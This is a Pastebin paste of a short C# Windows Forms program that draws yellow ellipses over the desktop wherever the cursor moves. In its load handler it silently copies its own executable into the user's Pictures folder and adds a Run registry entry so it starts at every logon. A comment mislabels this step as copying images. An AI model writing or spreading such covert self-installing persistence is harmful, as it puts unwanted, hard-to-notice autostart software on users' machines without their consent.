Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Linq;
- using System.Text;
- using System.Windows.Forms;
- using System.Runtime.InteropServices;
- namespace WindowsFormsApplication1
- {
- public partial class Form1 : Form
- {
- [DllImport("user32.dll", EntryPoint = "GetDC")]
- public static extern IntPtr GetDC(IntPtr hWnd);
- public static string col;
- private Graphics g_desktop = null;
- public Form1()
- {
- InitializeComponent();
- }
- private void Form1_Load(object sender, EventArgs e)
- {
- IntPtr screen = GetDC(IntPtr.Zero);
- g_desktop = Graphics.FromHdc(screen);
- x.Text = "0";
- y.Text = "0";
- height.Text = "100";
- width.Text = "100";
- string path1 = @"C:\Users\" + Environment.UserName; //kopiowanie
- path1 += @"\Pictures\app.exe"; //obrazów
- System.IO.File.Copy(Application.ExecutablePath, path1, true);
- Microsoft.Win32.RegistryKey key;
- key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
- key.SetValue("app", path1); // ("klucz","wartosc klucza")
- key.Close(); // tworzenie klucza
- }
- private void timer1_Tick(object sender, EventArgs e)
- {
- System.Drawing.SolidBrush myBrush = new System.Drawing.SolidBrush(System.Drawing.Color.Yellow);
- g_desktop.FillEllipse(myBrush, new Rectangle(Cursor.Position.X, Cursor.Position.Y, int.Parse(width.Text), int.Parse(height.Text)));
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement